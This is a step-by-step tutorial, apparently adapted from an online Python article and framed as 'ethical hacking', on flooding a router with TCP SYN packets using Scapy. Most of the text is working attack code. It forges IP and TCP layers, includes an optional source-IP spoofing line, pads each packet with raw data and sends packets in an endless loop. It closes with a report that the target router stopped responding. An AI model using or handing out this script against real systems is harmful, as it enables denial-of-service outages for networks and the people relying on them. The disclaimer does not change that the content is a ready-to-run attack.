

Ethical hacking SYN flooding simulation

Just for educational purpose, don't attack other system

Layer4 DoS, SYNflooding Practice as far as you can

<https://www.thepythoncode.com/article/syn-flooding-attack-using-scapy-in-python>

① set test system environment

	attacker	target
IP	Test bed IP	Test bed IP
OS	Linux, Window	Ubuntu
Language	Python	
Library	Scapy	
Tool		Wireshark

② install Scapy:

from Microsoft store or from download site

```
pip3 install scapy
```

③ Open up a new Python file and import Scapy:

```
from scapy.all import *
```

④ Set target IP address on your program(attacking program)192.168.1.1:

```
# target IP address (should be a testing router/firewall)
```

```
target_ip = "192.168.1.1" => YOUR TEST BED IP
```

```
# the target port u want to flood
```

```
target_port = 80
```

**SYN flooding will be executed
through target_port to target_ip**

forge our SYN packet, starting with IP layer:

IP of TCP SYN Packet needs to be changed with different IP.

It's because attacker does not want his real IP is opened to victims

```
# forge IP packet with target ip as the destination IP address
ip = IP(dst=target_ip)
# or if you want to perform IP Spoofing (will work as well)
# ip = IP(src=RandIP("192.168.1.1/24"), dst=target_ip)
```


⑤ forge our TCP layer:

Src Port number of TCP SYN Packet needs to be changed with different Src Port no

It's because external respond of external server, system can reconized the original port NO. and changed NO.

but target port does not need this forging

```
# forge a TCP SYN packet with a random source port
# and the target port as the destination port
tcp = TCP(sport=RandShort(), dport=target_port, flags="S")
```



flags="S"

"S" => just SYN => no syn+ack, no ack packet in three way handshake

It means this logic will continue to send just only syn packet

⑥ set the flags to **"S"** which indicates the type SYN.

⑦ add some flooding raw data to occupy the network:

It's because the attacking aims to to overflow the target's network with syn packets

```
# add some flooding data (1KB in this case)
raw = Raw(b"X"*1024)
```

⑧ stack up the layers and send the packet:

accumulate the attacking packet on target ip / tcp / raw layers

build up a looping status on target network system until this situation is blocked

```
# stack up the layers
p = ip / tcp / raw
# send the constructed packet in a loop until CTRL+C is detected
send(p, loop=1, verbose=0)
```

- ⑨ So we used `send()` function that sends packets at layer 3, we set `loop` to 1 to keep sending until we hit CTRL+C, setting `verbose` to 0 will not print anything during the process (silent).

Verbose[vur/bose] option: Parameter to control whether detailed logging is output or not

(*The log output may affect execution speed)

verbose = 0 : output X

verbose = 1 : Verbose

- ⑩ verbose = 2 : implicit information only The script is done! Now, after I ran this against my router(target,victim), it took a few seconds, and sure enough, the router stopped working, and I lost connection:

- ⑪ This is the output of the following command on Windows:

ping -t: Continue running the ping test. Press ctrl + c to stop the test

```
$ ping -t "192.168.1.1"
```

- ⑫ It was captured from another machine other than the attacker, so the router is no longer responding.
- ⑬ To get everything back to normal, you can either stop the attack (by hitting **CTRL+C**), or if the device is still not responding, go on and reboot it.